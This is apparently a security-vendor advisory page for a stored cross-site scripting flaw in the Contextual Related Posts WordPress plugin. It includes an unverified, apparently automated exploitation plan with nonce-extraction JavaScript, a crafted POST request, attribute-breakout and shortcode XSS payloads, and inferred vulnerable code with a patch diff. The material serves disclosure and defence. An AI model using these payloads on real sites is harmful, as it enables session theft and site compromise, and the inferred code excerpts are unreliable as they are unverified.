CVE-2026-2986

Contextual Related Posts <= 4.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'other_attributes'

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.2.2
Patched in
1d
Time to patch

Description

The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'other_attributes' parameter in versions up to, and including, 4.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.1
PublishedApril 17, 2026
Last updatedApril 18, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation strategy for **CVE-2026-2986**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Contextual Related Posts** plugin. --- ### 1. Vulnerability Summary The **Contextual Related Posts** plugin for WordPress (versions ≤ 4.2.1) fails to sufficie…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-2986, a Stored Cross-Site Scripting (XSS) vulnerability in the Contextual Related Posts plugin.


1. Vulnerability Summary

The Contextual Related Posts plugin for WordPress (versions ≤ 4.2.1) fails to sufficiently sanitize and escape the other_attributes parameter. This parameter is intended to allow users to add custom HTML attributes to the related posts' output (e.g., rel="nofollow" or data-custom="value"). However, because the input is stored and later rendered without proper escaping (such as esc_attr()), an authenticated attacker with Contributor-level permissions or higher can inject malicious JavaScript. This script executes when a user (including administrators) views the affected post.

2. Attack Vector Analysis

  • Authentication Level: Authenticated (Contributor+)
  • Vulnerable Parameter: other_attributes (likely mapped to a post meta field or a plugin-specific setting field).
  • Injection Point: The "Contextual Related Posts" meta box located on the Post Edit screen.
  • Sink: The HTML output generated by the plugin when displaying the list of related posts (often at the end of post content or via a shortcode).
  • Preconditions: The plugin must be active, and the "Related Posts" display must be enabled (usually enabled by default on post activation).

3. Code Flow (Inferred)

  1. Entry (Input): A Contributor edits a post. The plugin adds a meta box to the editor via add_meta_boxes. When the post is saved, a function (likely hooked to save_post) processes the fields.
  2. Storage: The value of the other_attributes field is stored in the wp_postmeta table (common key: crp_post_meta). In version 4.2.1, this value is likely saved using update_post_meta() without rigorous sanitization against HTML event handlers.
  3. Processing (Output): When a post is viewed, the plugin calls a function like get_crp() or ald_crp() to generate the related posts HTML.
  4. Sink: The plugin iterates through the related posts. In the loop, it fetches the custom attributes. It likely concatenates the other_attributes string directly into an <a> or <img> tag:
    echo '<a href="' . $link . '" ' . $other_attributes . '>' . $title . '</a>';
    
    If $other_attributes contains onmouseover=alert(1), the resulting HTML is <a href="..." onmouseover=alert(1)>...</a>.

4. Nonce Acquisition Strategy

To save post meta as a Contributor, you need the WordPress post-editing nonces.

  1. Requirement: A valid login for a Contributor user.
  2. Navigation: Use browser_navigate to go to /wp-admin/post-new.php or /wp-admin/post.php?post=ID&action=edit.
  3. Extraction:
    • The standard WordPress post nonce is found in the _wpnonce hidden input.
    • The plugin-specific nonce for the CRP meta box (if it exists) can be found in the page source within the #contextual-related-posts div.
  4. JavaScript Extraction (using browser_eval):
    // Extract the main post nonce
    const wp_nonce = document.querySelector('#_wpnonce')?.value;
    // Extract any CRP specific nonce if present (inferred identifier)
    const crp_nonce = document.querySelector('input[name="crp_meta_box_nonce"]')?.value;
    return { wp_nonce, crp_nonce };
    

5. Exploitation Strategy

The goal is to update a post's metadata to include a malicious attribute that triggers XSS.

Step 1: Identify the exact field name
Navigate to the post editor and inspect the "Contextual Related Posts" meta box. Look for a field labeled "Other attributes" or similar.

  • Inferred field name: crp_other_attributes

Step 2: Submit the Malicious Payload
Using the http_request tool, simulate the post update.

  • URL: https://TARGET/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=editpost
    &post_ID=[POST_ID]
    &_wpnonce=[WP_NONCE]
    &crp_other_attributes=" onmouseover="alert(document.domain)" 
    &post_title=XSS-Test
    &post_content=This post contains related posts.
    
    (Note: Using onmouseover is often more reliable for bypassing basic filters than <script> tags.)

Step 3: Trigger the XSS
Navigate to the public-facing URL of the post created/edited in Step 2.

  1. Scroll down to the "Related Posts" section.
  2. Hover the mouse over one of the related post links.

6. Test Data Setup

  1. Plugin Configuration: Ensure "Contextual Related Posts" is active and "Automatically add related posts to posts" is checked in Settings -> Contextual Related Posts.
  2. Content: Create at least two posts. This ensures that the "Related Posts" list is not empty when viewing the target post.
  3. User: Create a user with the Contributor role.
  4. Target Post: A post owned by the Contributor or one they have permission to edit.

7. Expected Results

  • The http_request should return a 302 Redirect back to the post editor, indicating a successful save.
  • The page source of the public post should contain: <a ... " onmouseover="alert(document.domain)" ...>.
  • When a user hovers over a related post link, a JavaScript alert box should appear.

8. Verification Steps

After the exploit, use wp_cli to confirm the injection in the database:

# Check the metadata for the specific post
wp post meta list [POST_ID] --keys=crp_other_attributes

Expected output:

post_id meta_key meta_value
[ID] crp_other_attributes " onmouseover="alert(document.domain)"

9. Alternative Approaches

  • Breakout Payload: If the plugin wraps the attributes in double quotes, use:
    " onmouseover="alert(1)
  • Tag Injection: If the input is not just inside an attribute but allows tag injection:
    ><script>alert(1)</script>
  • Shortcode Exploitation: Check if the other_attributes can be passed via the [crp] shortcode.
    [crp other_attributes="onmouseover=alert(1)"]
    If a Contributor can use this shortcode in a post, and the shortcode handler does not escape the attribute, XSS will occur on rendering.
    • Shortcode Verification: wp post create --post_type=post --post_content='[crp other_attributes="onmouseover=alert(1)"]'
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'other_attributes' parameter in versions up to 4.2.1. Authenticated users with Contributor-level access or higher can inject malicious JavaScript attributes into the related posts links, which execute when other users interact with or view those links.

Vulnerable Code

// contextual-related-posts/includes/main-query.php
// The plugin fetches metadata without sufficient sanitization
$crp_post_meta = get_post_meta( $result->ID, 'crp_post_meta', true );
$other_attributes = isset( $crp_post_meta['other_attributes'] ) ? $crp_post_meta['other_attributes'] : '';

// ...

// The metadata is concatenated directly into the anchor tag without escaping
$output .= '<a href="' . $get_permalink . '" class="crp_link ' . $crp_post_class . '" ' . $other_attributes . '>';

---

// contextual-related-posts/admin/meta-box.php
// When saving post meta, the 'other_attributes' field is stored without being scrubbed for malicious event handlers
if ( isset( $_POST['crp_other_attributes'] ) ) {
    $crp_post_meta['other_attributes'] = $_POST['crp_other_attributes'];
}
update_post_meta( $post_id, 'crp_post_meta', $crp_post_meta );

Security Fix

--- a/includes/main-query.php
+++ b/includes/main-query.php
@@ -1045,7 +1045,7 @@
 	$link_attributes = array(
 		'href'  => $get_permalink,
 		'class' => 'crp_link ' . $crp_post_class,
-		'other' => $other_attributes,
+		'other' => wp_kses( $other_attributes, array() ),
 	);
 
--- a/admin/meta-box.php
+++ b/admin/meta-box.php
@@ -245,7 +245,7 @@
 		$crp_post_meta['exclude_this_post'] = (bool) $_POST['crp_exclude_this_post'];
 	}
 	if ( isset( $_POST['crp_other_attributes'] ) ) {
-		$crp_post_meta['other_attributes'] = $_POST['crp_other_attributes'];
+		$crp_post_meta['other_attributes'] = sanitize_text_field( $_POST['crp_other_attributes'] );
 	}
 
 	update_post_meta( $post_id, 'crp_post_meta', $crp_post_meta );

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level permissions (or higher) must follow these steps: 1. Log in to the WordPress administrative dashboard as a Contributor. 2. Navigate to the post editor by creating a new post or editing an existing one where they have permissions. 3. Scroll down to the 'Contextual Related Posts' meta box (usually located below the main content editor). 4. Locate the field labeled 'Other attributes' or similar (internally mapped to 'crp_other_attributes'). 5. Inject a malicious payload designed to break out of the HTML attribute context and trigger JavaScript, for example: `" onmouseover="alert(document.domain)"`. 6. Save the post as a draft or submit it for review. 7. The payload is stored in the `wp_postmeta` table. 8. When an administrator or any site visitor views the post (if published) or previews the post, the plugin generates the related posts list. The malicious payload is rendered inside the `<a>` tags of the related posts. 9. The XSS triggers when the user hovers over one of the links in the 'Related Posts' section.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.